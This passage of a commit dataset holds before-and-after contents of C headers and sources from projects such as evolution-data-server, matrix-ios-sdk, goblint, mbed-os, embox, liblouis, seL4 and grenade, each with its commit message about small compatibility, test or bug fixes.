stats\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"506d8e88ab8c28f052697127fb6ccdcc5a44649a","old_file":"libedataserverui\/gtk-compat.h","new_file":"libedataserverui\/gtk-compat.h","old_contents":"#ifndef __GTK_COMPAT_H__\n#define __GTK_COMPAT_H__\n\n#include <gtk\/gtk.h>\n\n\/* Provide a compatibility layer for accessor functions introduced\n * in GTK+ 2.22 which we need to build with sealed GDK.\n * That way it is still possible to build with GTK+ 2.20.\n *\/\n\n#if !GTK_CHECK_VERSION(2, 21, 0)\n\n#define gdk_drag_context_get_actions(context)          (context)->actions\n#define gdk_drag_context_get_suggested_action(context) (context)->suggested_action\n#define gdk_drag_context_get_selected_action(context)  (context)->action\n\n#endif \/* GTK_CHECK_VERSION(2, 21, 0) *\/\n\n#endif \/* __GTK_COMPAT_H__ *\/\n","new_contents":"#ifndef __GTK_COMPAT_H__\n#define __GTK_COMPAT_H__\n\n#include <gtk\/gtk.h>\n\n\/* Provide a compatibility layer for accessor functions introduced\n * in GTK+ 2.22 which we need to build with sealed GDK.\n * That way it is still possible to build with GTK+ 2.20.\n *\/\n\n#if !GTK_CHECK_VERSION(2,21,2)\n\n#define gdk_drag_context_get_actions(context)          (context)->actions\n#define gdk_drag_context_get_suggested_action(context) (context)->suggested_action\n#define gdk_drag_context_get_selected_action(context)  (context)->action\n\n#endif \/* GTK_CHECK_VERSION(2, 21, 0) *\/\n\n#endif \/* __GTK_COMPAT_H__ *\/\n","subject":"Set the GTK+ backward compatibility check to 2.21.2.","message":"Set the GTK+ backward compatibility check to 2.21.2.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/evolution-data-server,tintou\/evolution-data-server,tintou\/evolution-data-server,tintou\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server,Distrotech\/evolution-data-server,gcampax\/evolution-data-server,matzipan\/evolution-data-server,gcampax\/evolution-data-server,tintou\/evolution-data-server,gcampax\/evolution-data-server,Distrotech\/evolution-data-server,matzipan\/evolution-data-server,matzipan\/evolution-data-server,matzipan\/evolution-data-server,Distrotech\/evolution-data-server,gcampax\/evolution-data-server"}
{"commit":"cc884148c3ba9903d9d2355cfd31ddbba3a2b77d","old_file":"MatrixSDK\/Data\/ReplyEvent\/Parser\/MXReplyEventParser.h","new_file":"MatrixSDK\/Data\/ReplyEvent\/Parser\/MXReplyEventParser.h","old_contents":"\/*\n Copyright 2019 The Matrix.org Foundation C.I.C\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"MXReplyEventParts.h\"\n#import \"MXEvent.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n Reply event parser.\n *\/\n@interface MXReplyEventParser : NSObject\n\n- (MXReplyEventParts*)parse:(MXEvent*)replyEvent;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/*\n Copyright 2019 The Matrix.org Foundation C.I.C\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"MXReplyEventParts.h\"\n#import \"MXEvent.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n Reply event parser.\n *\/\n@interface MXReplyEventParser : NSObject\n\n- (nullable MXReplyEventParts*)parse:(MXEvent*)replyEvent;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Make reply parser result optional","message":"Make reply parser result optional\n\n","lang":"C","license":"apache-2.0","repos":"matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk"}
{"commit":"5c02865845248547ea33362877291f5b70c876c4","old_file":"Perspective\/Perspective\/Perspective-Bridging-Header.h","new_file":"Perspective\/Perspective\/Perspective-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import <Parse\/Parse.h>\n#import <Bolts\/Bolts.h>\n#import <AWSiOSSDKv2\/AWSCore.h>\n#import <AWSiOSSDKv2\/S3.h>\n#import <AWSiOSSDKv2\/DynamoDB.h>\n#import <AWSiOSSDKv2\/SQS.h>\n#import <AWSiOSSDKv2\/SNS.h>","subject":"Add imports to Bridging Header.","message":"Add imports to Bridging Header.\n","lang":"C","license":"mit","repos":"dlrifkin\/Perspective-1.0,thedanpan\/Perspective"}
{"commit":"262b514264325253e8e3c180f2f9b91a0a6ff4a6","old_file":"tests\/regression\/13-privatized\/24-multiple-protecting.c","new_file":"tests\/regression\/13-privatized\/24-multiple-protecting.c","old_contents":"","new_contents":"\/\/ Copied & modified from 28\/42.\n#include <pthread.h>\n#include <assert.h>\n\nint g1,g2;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t __global_lock = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex1);\n  pthread_mutex_lock(&__global_lock);\n  g1++;\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_lock(&__global_lock);\n  g1--;\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_unlock(&mutex1);\n\n  pthread_mutex_lock(&mutex2);\n  pthread_mutex_lock(&__global_lock);\n  g2++;\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_lock(&__global_lock);\n  g2--;\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&mutex1);\n  pthread_mutex_lock(&__global_lock);\n  assert(g1 == 0);\n  pthread_mutex_unlock(&__global_lock);\n\n  pthread_mutex_lock(&mutex2);\n  pthread_mutex_lock(&__global_lock);\n  assert(g1 == 0);\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_lock(&__global_lock);\n  assert(g2 == 0);\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_unlock(&mutex2);\n\n  pthread_mutex_lock(&__global_lock);\n  assert(g1 == 0);\n  pthread_mutex_unlock(&__global_lock);\n  pthread_mutex_unlock(&mutex1);\n\n  pthread_join(id, NULL);\n  return 0;\n}","subject":"Add privatization test where mutex-oplus fails","message":"Add privatization test where mutex-oplus fails\n\nPreviously mutex-oplus failed on 28\/42, which uses trylock.\nApparently the problem isn't trylock but multiple protecting mutexes.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c938d475630c08a0d695f29b863250ae0ea73b5d","old_file":"src\/qt\/macdockiconhandler.h","new_file":"src\/qt\/macdockiconhandler.h","old_contents":"#ifndef MACDOCKICONHANDLER_H\n#define MACDOCKICONHANDLER_H\n\n#include <QtCore\/QObject>\n\nclass QMenu;\nclass QIcon;\nclass QWidget;\nclass objc_object;\n\n\/** Macintosh-specific dock icon handler.\n *\/\nclass MacDockIconHandler : public QObject\n{\n    Q_OBJECT\npublic:\n    ~MacDockIconHandler();\n\n    QMenu *dockMenu();\n    void setIcon(const QIcon &icon);\n\n    static MacDockIconHandler *instance();\n\n    void handleDockIconClickEvent();\n\nsignals:\n    void dockIconClicked();\n\npublic slots:\n\nprivate:\n    MacDockIconHandler();\n\n    objc_object *m_dockIconClickEventHandler;\n    QWidget *m_dummyWidget;\n    QMenu *m_dockMenu;\n};\n\n#endif \/\/ MACDOCKICONCLICKHANDLER_H\n","new_contents":"#ifndef MACDOCKICONHANDLER_H\n#define MACDOCKICONHANDLER_H\n\n#include <QtCore\/QObject>\n\nclass QMenu;\nclass QIcon;\nclass QWidget;\n\n#ifdef __OBJC__\n@class DockIconClickEventHandler;\n#else\nclass DockIconClickEventHandler;\n#endif\n\n\/** Macintosh-specific dock icon handler.\n *\/\nclass MacDockIconHandler : public QObject\n{\n    Q_OBJECT\npublic:\n    ~MacDockIconHandler();\n\n    QMenu *dockMenu();\n    void setIcon(const QIcon &icon);\n\n    static MacDockIconHandler *instance();\n\n    void handleDockIconClickEvent();\n\nsignals:\n    void dockIconClicked();\n\npublic slots:\n\nprivate:\n    MacDockIconHandler();\n\n    DockIconClickEventHandler *m_dockIconClickEventHandler;\n    QWidget *m_dummyWidget;\n    QMenu *m_dockMenu;\n};\n\n#endif \/\/ MACDOCKICONCLICKHANDLER_H\n","subject":"Fix for legacy QT compatibility","message":"Fix for legacy QT compatibility\n","lang":"C","license":"mit","repos":"koharjidan\/sexcoin,lavajumper\/sexcoin,lavajumper\/sexcoin,koharjidan\/sexcoin,sexcoin-project\/sexcoin,sexcoin-project\/sexcoin,lavajumper\/sexcoin,koharjidan\/sexcoin,lavajumper\/sexcoin,sexcoin-project\/sexcoin,lavajumper\/sexcoin,sexcoin-project\/sexcoin,sexcoin-project\/sexcoin,sexcoin-project\/sexcoin,koharjidan\/sexcoin,lavajumper\/sexcoin"}
{"commit":"77d8b067bf60caa27bddb974a4e1841287334a8c","old_file":"features\/cryptocell\/FEATURE_CRYPTOCELL310\/mbedtls_device.h","new_file":"features\/cryptocell\/FEATURE_CRYPTOCELL310\/mbedtls_device.h","old_contents":" \/*\n  *  mbedtls_device.h\n  *\n  *  Copyright (C) 2018, Arm Limited, All Rights Reserved\n  *  SPDX-License-Identifier: Apache-2.0\n  *\n  *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n  *  not use this file except in compliance with the License.\n  *  You may obtain a copy of the License at\n  *\n  *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\n  *  Unless required by applicable law or agreed to in writing, software\n  *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n  *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  *  See the License for the specific language governing permissions and\n  *  limitations under the License.\n  *\n  *\/\n\n#ifndef __MBEDTLS_DEVICE__\n#define __MBEDTLS_DEVICE__\n\n#define MBEDTLS_PLATFORM_SETUP_TEARDOWN_ALT\n#define MBEDTLS_SHA1_ALT\n#define MBEDTLS_SHA256_ALT\n#define MBEDTLS_CCM_ALT\n#define MBEDTLS_CMAC_ALT\n#define MBEDTLS_ECDSA_VERIFY_ALT\n#define MBEDTLS_ECDSA_SIGN_ALT\n#define MBEDTLS_ECDSA_GENKEY_ALT\n#define MBEDTLS_ECDH_GEN_PUBLIC_ALT\n#define MBEDTLS_ECDH_COMPUTE_SHARED_ALT\n\n#endif \/\/__MBEDTLS_DEVICE__\n","new_contents":" \/*\n  *  mbedtls_device.h\n  *\n  *  Copyright (C) 2018-2019, Arm Limited, All Rights Reserved\n  *  SPDX-License-Identifier: Apache-2.0\n  *\n  *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n  *  not use this file except in compliance with the License.\n  *  You may obtain a copy of the License at\n  *\n  *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n  *\n  *  Unless required by applicable law or agreed to in writing, software\n  *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n  *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  *  See the License for the specific language governing permissions and\n  *  limitations under the License.\n  *\n  *\/\n\n#ifndef __MBEDTLS_DEVICE__\n#define __MBEDTLS_DEVICE__\n\n#define MBEDTLS_PLATFORM_SETUP_TEARDOWN_ALT\n#define MBEDTLS_SHA1_ALT\n#define MBEDTLS_SHA256_ALT\n#define MBEDTLS_CCM_ALT\n\/\/#define MBEDTLS_CMAC_ALT\n#define MBEDTLS_ECDSA_VERIFY_ALT\n#define MBEDTLS_ECDSA_SIGN_ALT\n#define MBEDTLS_ECDSA_GENKEY_ALT\n#define MBEDTLS_ECDH_GEN_PUBLIC_ALT\n#define MBEDTLS_ECDH_COMPUTE_SHARED_ALT\n\n#endif \/\/__MBEDTLS_DEVICE__\n","subject":"Make the alternative cmac optional","message":"Make the alternative cmac optional\n\nHave the alternative cmac undefined by default,\nin order not to break backwards compatability.\n","lang":"C","license":"apache-2.0","repos":"andcor02\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed"}
{"commit":"fbb9d30f44ad3373b96ef0319a4fb404b60be5de","old_file":"critical-mutex.c","new_file":"critical-mutex.c","old_contents":"#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n#include \"uv.h\"\n\nstatic uv_mutex_t mutex;\nstatic uv_thread_t thread;\n\nstatic int crit_data = 0;\n\n\nstatic void thread_cb(void* arg) {\n  uv_mutex_lock(&mutex);\n  printf(\"thread mutex start\\n\");\n  crit_data = 2;\n  printf(\"thread mutex end\\n\");\n  uv_mutex_unlock(&mutex);\n}\n\n\nint main() {\n  assert(0 == uv_mutex_init(&mutex));\n  assert(0 == uv_thread_create(&thread, thread_cb, NULL));\n\n  uv_mutex_lock(&mutex);\n  printf(\"main mutex start\\n\");\n  sleep(1);\n  crit_data = 1;\n  printf(\"main mutex end\\n\");\n  uv_mutex_unlock(&mutex);\n\n  uv_thread_join(&thread);\n  uv_mutex_destroy(&mutex);\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n#include \"uv.h\"\n\nstatic uv_mutex_t mutex;\nstatic uv_thread_t thread;\n\nstatic void thread_cb(void* arg) {\n  printf(\"thread_cb\\n\");\n  uv_mutex_lock(&mutex);\n  printf(\"thread mutex\\n\");\n  uv_mutex_unlock(&mutex);\n}\n\nint main() {\n  assert(0 == uv_mutex_init(&mutex));\n  assert(0 == uv_thread_create(&thread, thread_cb, NULL));\n\n  uv_mutex_lock(&mutex);\n  printf(\"main mutex start\\n\");\n  sleep(1);\n  printf(\"main mutex end\\n\");\n  uv_mutex_unlock(&mutex);\n\n  uv_thread_join(&thread);\n  uv_mutex_destroy(&mutex);\n\n  return 0;\n}\n","subject":"Make use of mutex easier to see","message":"Make use of mutex easier to see\n\nWith the access to the data, the use of the actual mutex could have been\nconfused. By simply using the mutex the example is a lot more clear.\n","lang":"C","license":"mit","repos":"trevnorris\/libuv-examples"}
{"commit":"c79489d69b73dc523442fa797b5cc38a8c841f35","old_file":"src\/kernel\/thread\/signal\/sigstd_stub.h","new_file":"src\/kernel\/thread\/signal\/sigstd_stub.h","old_contents":"\/**\n * @file\n * @brief Stubs for standard signals.\n *\n * @date 07.10.2013\n * @author Eldar Abusalimov\n *\/\n\n#ifndef KERNEL_THREAD_SIGSTD_STUB_H_\n#define KERNEL_THREAD_SIGSTD_STUB_H_\n\n#include <errno.h>\n\n#define SIGSTD_MIN     0\n#define SIGSTD_MAX     -1\n\nstruct sigstd_data { };  \/* stub *\/\n\nstatic inline struct sigstd_data * sigstd_data_init(\n\t\tstruct sigstd_data *sigstd_data) {\n\treturn sigstd_data;\n}\n\nstatic inline int sigstd_raise(struct sigstd_data *data, int sig) {\n\treturn -ENOSYS;\n}\n\nstatic inline void sigstd_handle(struct sigstd_data *data,\n\t\tstruct sigaction *sig_table) {\n\t\/* no-op *\/\n}\n\n#endif \/* KERNEL_THREAD_SIGSTD_STUB_H_ *\/\n","new_contents":"\/**\n * @file\n * @brief Stubs for standard signals.\n *\n * @date 07.10.2013\n * @author Eldar Abusalimov\n *\/\n\n#ifndef KERNEL_THREAD_SIGSTD_STUB_H_\n#define KERNEL_THREAD_SIGSTD_STUB_H_\n\n#include <errno.h>\n#include <signal.h>\n\n#define SIGSTD_MIN     0\n#define SIGSTD_MAX     -1\n\nstruct sigstd_data { };  \/* stub *\/\n\nstatic inline struct sigstd_data * sigstd_data_init(\n\t\tstruct sigstd_data *sigstd_data) {\n\treturn sigstd_data;\n}\n\nstatic inline int sigstd_raise(struct sigstd_data *data, int sig) {\n\treturn -ENOSYS;\n}\n\nstatic inline void sigstd_handle(struct sigstd_data *data,\n\t\tstruct sigaction *sig_table) {\n\t\/* no-op *\/\n}\n\n#endif \/* KERNEL_THREAD_SIGSTD_STUB_H_ *\/\n","subject":"Fix stub implementation (add missing sigaction decl)","message":"signal: Fix stub implementation (add missing sigaction decl)","lang":"C","license":"bsd-2-clause","repos":"mike2390\/embox,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,embox\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,Kefir0192\/embox,embox\/embox,abusalimov\/embox,vrxfile\/embox-trik,abusalimov\/embox,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,Kakadu\/embox,vrxfile\/embox-trik,Kakadu\/embox,embox\/embox,gzoom13\/embox,mike2390\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,gzoom13\/embox,abusalimov\/embox,embox\/embox,Kakadu\/embox,mike2390\/embox,vrxfile\/embox-trik,gzoom13\/embox,Kefir0192\/embox,embox\/embox,abusalimov\/embox,gzoom13\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,Kakadu\/embox,gzoom13\/embox,abusalimov\/embox,abusalimov\/embox,mike2390\/embox,Kefir0192\/embox"}
{"commit":"99255bdc27f95eec652b0895fd63ed2aed9a619d","old_file":"tests\/checkTable.c","new_file":"tests\/checkTable.c","old_contents":"","new_contents":"\/* liblouis Braille Translation and Back-Translation Library\n\nCopyright (C) 2012 James Teh <jamie@nvaccess.org>\nCopyright (C) 2015 Davy Kager <mail@davykager.nl>\n\nCopying and distribution of this file, with or without modification,\nare permitted in any medium without royalty provided the copyright\nnotice and this notice are preserved. This file is offered as-is,\nwithout any warranty. *\/\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"liblouis.h\"\n\nint\nmain(int argc, char **argv)\n{\n  const char *goodTable = \"en-us-g1.ctb\";\n  const char *badTable = \"bad.ctb\";\n  int result = 0;\n\n  if (lou_checkTable(goodTable) == 0)\n  {\n    printf(\"Getting %s failed, expected success\\n\", goodTable);\n    result = 1;\n  }\n\n  if (lou_checkTable(badTable) != 0)\n  {\n    printf(\"Getting %s succeeded, expected failure\\n\", badTable);\n    result = 1;\n  }\n\n  if (lou_checkTable(goodTable) == 0)\n  {\n    printf(\"Getting %s failed, expected success\\n\", goodTable);\n    result = 1;\n  }\n\n  lou_free();\n\n  return result;\n}\n","subject":"Add test based on getTable.c.","message":"Add test based on getTable.c.\n","lang":"C","license":"lgpl-2.1","repos":"liblouis\/liblouis,hammera\/liblouis,liblouis\/liblouis,vsmontalvao\/liblouis,liblouis\/liblouis,IndexBraille\/liblouis,BueVest\/liblouis,BueVest\/liblouis,liblouis\/liblouis,IndexBraille\/liblouis,liblouis\/liblouis,vsmontalvao\/liblouis,liblouis\/liblouis,hammera\/liblouis,BueVest\/liblouis,BueVest\/liblouis,BueVest\/liblouis,IndexBraille\/liblouis,vsmontalvao\/liblouis,hammera\/liblouis,hammera\/liblouis,hammera\/liblouis,vsmontalvao\/liblouis,IndexBraille\/liblouis,BueVest\/liblouis,vsmontalvao\/liblouis,IndexBraille\/liblouis,hammera\/liblouis"}
{"commit":"e971b9bcafa2d73d310a94ee1793163d6e1de14f","old_file":"libsel4\/include\/sel4\/macros.h","new_file":"libsel4\/include\/sel4\/macros.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_MACROS_H\n#define __LIBSEL4_MACROS_H\n\n#include <autoconf.h>\n\n\/*\n * Some compilers attempt to pack enums into the smallest possible type.\n * For ABI compatability with the kernel, we need to ensure they remain\n * the same size as an 'int'.\n *\/\n#define SEL4_FORCE_LONG_ENUM(type) \\\n        _enum_pad_ ## type = (1U << ((sizeof(int)*8) - 1)) - 1\n\n#ifndef CONST\n#define CONST        __attribute__((__const__))\n#endif\n\n#ifndef PURE\n#define PURE         __attribute__((__pure__))\n#endif\n\n#define SEL4_OFFSETOF(type, member) __builtin_offsetof(type, member)\n\n#ifdef CONFIG_LIB_SEL4_INLINE_INVOCATIONS\n#define LIBSEL4_INLINE static inline\n#else\n#define LIBSEL4_INLINE __attribute__((noinline)) __attribute__((unused)) __attribute__((weak))\n#endif\n\n#endif\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_MACROS_H\n#define __LIBSEL4_MACROS_H\n\n#include <autoconf.h>\n\n\/*\n * Some compilers attempt to pack enums into the smallest possible type.\n * For ABI compatability with the kernel, we need to ensure they remain\n * the same size as a 'long'.\n *\/\n#define SEL4_FORCE_LONG_ENUM(type) \\\n        _enum_pad_ ## type = (1ULL << ((sizeof(long)*8) - 1)) - 1\n\n#ifndef CONST\n#define CONST        __attribute__((__const__))\n#endif\n\n#ifndef PURE\n#define PURE         __attribute__((__pure__))\n#endif\n\n#define SEL4_OFFSETOF(type, member) __builtin_offsetof(type, member)\n\n#ifdef CONFIG_LIB_SEL4_INLINE_INVOCATIONS\n#define LIBSEL4_INLINE static inline\n#else\n#define LIBSEL4_INLINE __attribute__((noinline)) __attribute__((unused)) __attribute__((weak))\n#endif\n\n#endif\n","subject":"Make FORCE_LONG_ENUM actually force a long instead of an int","message":"libsel4: Make FORCE_LONG_ENUM actually force a long instead of an int\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,zhicheng\/seL4,cmr\/seL4,cmr\/seL4,zhicheng\/seL4,zhicheng\/seL4"}
{"commit":"893b75e2bf2784f5b38837371cbcb33f884fee04","old_file":"c\/src\/base\/ByteStream.h","new_file":"c\/src\/base\/ByteStream.h","old_contents":"#ifndef C_BYTESTREAM_H\n#define C_BYTESTREAM_H\n\n#include \"ByteListener.h\"\n#include \"ByteProducer.h\"\n#include \"ByteSubscription.h\"\n\ntypedef struct ByteStream {\n  void (*add_listener) (struct ByteStream *self, ByteListener *listener);\n  void (*remove_listener) (struct ByteStream *self, ByteListener *listener);\n  void *(*subscribe) (struct ByteStream *self, ByteListener *listener);\n  ByteSubscription *(*unsubscribe) (struct ByteStream *self, ByteListener *listener);\n} ByteStream;\n\nByteStream *byte_stream_create (ByteProducer *producer);\n\n#endif \/\/ C_BYTESTREAM_H\n","new_contents":"#ifndef C_BYTESTREAM_H\n#define C_BYTESTREAM_H\n\n#include \"ByteListener.h\"\n#include \"ByteProducer.h\"\n#include \"ByteSubscription.h\"\n#include \"ByteListenerInternal.h\"\n#include \"ByteProducerInternal.h\"\n#include \"VariableLengthArray.h\"\n\ntypedef uint8_t Boolean;\n\ntypedef Byte (*byte_steam_map_function) (Byte value);\ntypedef Boolean (*byte_steam_filter_function) (Byte value);\n\ntypedef struct ByteStream {\n  void (*add_listener) (struct ByteStream *self, ByteListener *listener);\n  void (*remove_listener) (struct ByteStream *self, ByteListener *listener);\n  void *(*subscribe) (struct ByteStream *self, ByteListener *listener);\n  ByteSubscription *(*unsubscribe) (struct ByteStream *self, ByteListener *listener);\n  ByteListenerInternal *_internal_listener;\n  ByteProducerInternal *_producer;\n  VariableLengthArray *_internal_listeners;\n  int _stop_id;\n  int _error;\n  void (*_teardown) (struct ByteStream *self);\n  void (*_stop_now) (struct ByteStream *self);\n  void (*_add) (struct ByteStream *self, ByteListenerInternal *listener);\n  void (*_remove) (struct ByteStream *self, ByteListenerInternal *listener);\n  struct ByteStream *(*map) (struct ByteStream *self, byte_steam_map_function map);\n  struct ByteStream *(*mapTo) (struct ByteStream *self, Byte value);\n  struct ByteStream *(*filter) (struct ByteStream *self, byte_steam_filter_function filter);\n  struct ByteStream *(*take) (struct ByteStream *self, int count);\n  struct ByteStream *(*drop) (struct ByteStream *self, int count);\n  struct ByteStream *(*last) (struct ByteStream *self);\n} ByteStream;\n\nByteStream *byte_stream_create (ByteProducer *producer);\nByteStream *byte_stream_never ();\nByteStream *byte_stream_empty ();\nByteStream *byte_stream_throw ();\nByteStream *byte_stream_from_array (Byte array[]);\nByteStream *byte_stream_periodic (int milliseconds);\nByteStream *byte_stream_merge (ByteStream streams[]);\n\n#endif \/\/ C_BYTESTREAM_H\n","subject":"Add fuller definition of Stream<Byte>","message":"Add fuller definition of Stream<Byte>\n","lang":"C","license":"mit","repos":"artfuldev\/RIoT"}
{"commit":"2c68ddc27ccc965b15ebc50159cae4d76ed5af2b","old_file":"cbits\/gradient_decent.c","new_file":"cbits\/gradient_decent.c","old_contents":"#include \"gradient_decent.h\"\n\nvoid decend_cpu(int len, double rate, double momentum, double regulariser,\n    const double* weights,\n    const double* gradient,\n    const double* last,\n    double* outputWeights, double* outputMomentum) {\n\n  for (int i = 0; i <= len; i++) {\n      outputMomentum[i] = momentum * last[i] - rate * gradient[i];\n      outputWeights[i] = weights[i] + outputMomentum[i] - (rate * regulariser) * weights[i];\n  }\n}\n","new_contents":"#include \"gradient_decent.h\"\n\nvoid decend_cpu(int len, double rate, double momentum, double regulariser,\n    const double* weights,\n    const double* gradient,\n    const double* last,\n    double* outputWeights, double* outputMomentum) {\n\n  for (int i = 0; i < len; i++) {\n      outputMomentum[i] = momentum * last[i] - rate * gradient[i];\n      outputWeights[i] = weights[i] + outputMomentum[i] - (rate * regulariser) * weights[i];\n  }\n}\n","subject":"Fix off-by-one error in C code","message":"Fix off-by-one error in C code\n","lang":"C","license":"bsd-2-clause","repos":"HuwCampbell\/grenade,HuwCampbell\/grenade"}
{"commit":"0aedae3932bef0b8d4bcd83e9681489073a0beb9","old_file":"android_webview\/common\/devtools_instrumentation.h","new_file":"android_webview\/common\/devtools_instrumentation.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ANDROID_WEBVIEW_COMMON_DEVTOOLS_INSTRUMENTATION_H_\n#define ANDROID_WEBVIEW_COMMON_DEVTOOLS_INSTRUMENTATION_H_\n\n#include \"base\/debug\/trace_event.h\"\n\nnamespace android_webview {\nnamespace devtools_instrumentation {\n\nnamespace internal {\nconst char kCategory[] = \"Java,devtools\";\nconst char kEmbedderCallback[] = \"EmbedderCallback\";\nconst char kCallbackNameArgument[] = \"callbackName\";\n}  \/\/ namespace internal\n\nclass ScopedEmbedderCallbackTask {\n public:\n  ScopedEmbedderCallbackTask(const char* callback_name) {\n    TRACE_EVENT_BEGIN1(internal::kCategory,\n                       internal::kEmbedderCallback,\n                       internal::kCallbackNameArgument,\n                       callback_name);\n  }\n  ~ScopedEmbedderCallbackTask() {\n    TRACE_EVENT_END0(internal::kCategory,\n                     internal::kEmbedderCallback);\n  }\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(ScopedEmbedderCallbackTask);\n};\n\n}  \/\/ namespace devtools_instrumentation\n}  \/\/ namespace android_webview\n\n#endif  \/\/ ANDROID_WEBVIEW_COMMON_DEVTOOLS_INSTRUMENTATION_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ANDROID_WEBVIEW_COMMON_DEVTOOLS_INSTRUMENTATION_H_\n#define ANDROID_WEBVIEW_COMMON_DEVTOOLS_INSTRUMENTATION_H_\n\n#include \"base\/debug\/trace_event.h\"\n\nnamespace android_webview {\nnamespace devtools_instrumentation {\n\nnamespace internal {\nconst char kCategory[] = \"Java,devtools,disabled-by-default-devtools.timeline\";\nconst char kEmbedderCallback[] = \"EmbedderCallback\";\nconst char kCallbackNameArgument[] = \"callbackName\";\n}  \/\/ namespace internal\n\nclass ScopedEmbedderCallbackTask {\n public:\n  ScopedEmbedderCallbackTask(const char* callback_name) {\n    TRACE_EVENT_BEGIN1(internal::kCategory,\n                       internal::kEmbedderCallback,\n                       internal::kCallbackNameArgument,\n                       callback_name);\n  }\n  ~ScopedEmbedderCallbackTask() {\n    TRACE_EVENT_END0(internal::kCategory,\n                     internal::kEmbedderCallback);\n  }\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(ScopedEmbedderCallbackTask);\n};\n\n}  \/\/ namespace devtools_instrumentation\n}  \/\/ namespace android_webview\n\n#endif  \/\/ ANDROID_WEBVIEW_COMMON_DEVTOOLS_INSTRUMENTATION_H_\n","subject":"Add devtools trace events for Timeline EmbedderCallback notification","message":"Add devtools trace events for Timeline EmbedderCallback notification\n\nThis events will be used instead of existing implementation in 